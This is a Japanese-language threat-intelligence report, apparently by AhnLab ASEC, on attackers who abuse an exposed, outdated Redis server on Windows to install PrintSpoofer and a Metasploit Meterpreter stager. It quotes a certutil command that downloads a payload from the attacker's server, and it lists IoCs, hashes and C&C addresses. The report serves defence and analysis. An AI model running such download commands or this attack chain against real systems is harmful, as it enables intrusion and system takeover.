Redis サーバーを通してインストールされる Metasploit の Meterpreter

AhnLab SEcurity intelligence Center(ASEC)では最近、Redis サービスを通して Metasploit の Meterpreter バックドアマルウェアがインストールされていることを確認した。Redis とは、Remote Dictionary Server の略で、オープンソースの In-memory データ構造リポジトリであり、データベースである。攻撃者は、不適切な設定を悪用した、脆弱性を利用した攻撃でコマンドを実行したものと推定される。

Redis は主にキャッシング、セッション管理、メッセージブローカー、キューなど、様々な用途で使われ、世界的に多数のシステムが Redis をサービスしている。多くのシステム Redis を使用しているため、攻撃者の主な攻撃対象となっている。脆弱な Redis サービスを攻撃してインストールされるマルウェアには Kinsing[1]、P2PInfect[2]、Skidmap[3]、Migo[4]、HeadCrab[5] などがある。

このようなマルウェアは、主にインターネットに公開されていながら、認証プロセスが無効になっている Redis サーバーを攻撃する。Redis にアクセスした攻撃者は、既知の攻撃方式を通してマルウェアをインストールするが、代表的に方式としてマルウェアをインストールするコマンドを Cron タスクで登録する方式と、SLAVEOF コマンドを利用してマルウェアが含まれた Redis サーバーの Slave サーバーに設定する方式がある。

1. 攻撃事例

攻撃対象となったシステムは、大半の既知の攻撃事例とは異なり、Windows 環境の Redis 3.x バージョンであり、2016年に開発されたバージョンだった。古いバージョンであるため、既知の脆弱性を利用した攻撃や不適切な設定を悪用する攻撃に脆弱だったと考えられる。

攻撃者は、まず権限昇格ツールである PrintSpoofer をインストールした。インストール時、PowerShell の「invoke-webrequest」コマンドを利用し、Redis のインストール先にダウンロードした。

図1. Redis サービスを攻撃して PrintSpoofer をインストールするログ

PrintSpoofer は、SeImpersonatePrivilege 権限を悪用して権限を昇格させるツールであり、Web サービスを提供する Web サーバ、もしくはデータベースサービスを提供する MS-SQL サーバのように不適切に管理されているか、最新バージョンにパッチされていない脆弱なサービスを対象とした攻撃によく使われる。攻撃者は GitHub にオープンソースで公開された PrintSpoofer を直接ビルドして使用したが、セキュリティ製品による検知を回避する目的なのか、「nilaina mana」のように特定の文字列を変更して使用した。

図2. オープンソースを利用して製作した PrintSpoofer
  • PDB パス:C:\Users\designernembak\Desktop\TOOLS\PrintSpoofer-master\x64\Debug\PrintSpoofer.pdb

このように Redis サービスを対象とした攻撃は、昨年の下半期から持続的に確認されている。最近の攻撃事例と過去の事例との違いと言えば、PowerShell コマンドの代わりに CertUtil ツールを利用して PrintSpoofer をインストールするという点がある。

  • 最近確認されているコマンド:certutil -urlcache -split -f “hxxp://35.185.187[.]24/PrintSpoofer.exe” psf.exe

2. Metasploit - Meterpreter

攻撃者は PrintSpoofer をインストールした後、Metasploit の Stager マルウェアをインストールした。

図3. Metasploit の Stager インストールログ

Metasploit はペネトレーションテストを目的としたフレームワークである。企業や機関のネットワーク、およびシステムに対するセキュリティの脆弱性をチェックする目的で使用可能なツールとして、ペネトレーションテストの各段階別に様々な機能をサポートしている。Metasploit は CobaltStrike のように、最初の感染のための様々な形のペイロード生成からアカウント情報奪取、内部ネットワークの移動を経てシステムを掌握するまでの段階ごとに必要な機能を提供している。

Meterpreter は、Cobalt strike の Beacon と同じように実際の不正な振る舞いを担うバックドアマルウェアである。Meterpreter は、インストール方式によって Staged/Stageless 方式に分けられる。Stageless 方式は、ペイロードに Meterpreter が含まれた形であり、これによってマルウェアのサイズが一定部分以上大きくなる。Staged 方式は、Stager というマルウェアを使用する方式で、Stager が実行される時、C&C サーバーから Meterpreter をダウンロードする方式である。そのため、Stager は Meterpreter と比べてサイズが非常に小さくなる。

攻撃者は Reverse TCP 方式の Stager を製作して感染システムにインストールした。また、実行された Stager は以下のように C&C サーバーに接続して Meterpreter バックドアをダウンロードする。このような過程を経て、最終的に Meterpreter がメモリ上で実行され、感染システムに対する制御権を窃取される

図4. C&C サーバーからダウンロードされた Meterpreter バックドア

3. 結論

最近、外部に公開された Redis サービスを対象に Metasploit の Meterpreter がインストールされている。攻撃対象となった Redis サービスは、2016年度に開発されたバージョンであることから、既知の脆弱性を利用した攻撃ができる脆弱なバージョンであり、不適切に管理されている可能性がある。

Metasploit がインストールされると、感染システムに対する制御権を窃取されるだけでなく、提供する様々な機能を通して組織の内部ネットワークを掌握することに使われる可能性もある。管理者はサーバー構成環境が脆弱である場合は最新バージョンのパッチを適用し、既知の脆弱性による被害を事前に防止する必要がある。また、外部に開放されているサーバーの場合、セキュリティ製品を利用して、部外者からのアクセスを制限する必要がある。また、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払わなければならない。

ファイル検知
– Trojan/Win32.Shell.R1283 (2010-12-17.00)
– Exploit/Win.PrintSpoofer.C5538254 (2023.11.06.03)
– Exploit/Win.PrintSpoofer.R358767 (2023.08.14.00)

振る舞い検知
– Malware/MDP.Download.M1197

IoC
MD5

– cff64cc3e82aebd7a7e81f1633b5040e : Metasploit Stager (meteran.exe)
– dbdcbacbc74b139d914747690ebe0e1c : PrintSpoofer (PrintSpoofer.exe)
– b26b57b28e61f9320cc42d97428f3806 : PrintSpoofer (ps.exe)

C&C サーバー
– 34.124.148[.]215:9070

Download アドレス
– hxxp://35.185.187[.]24/PrintSpoofer.exe
– hxxp://35.185.187[.]24/ps.exe
– hxxp://35.185.187[.]24/meteran.exe

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。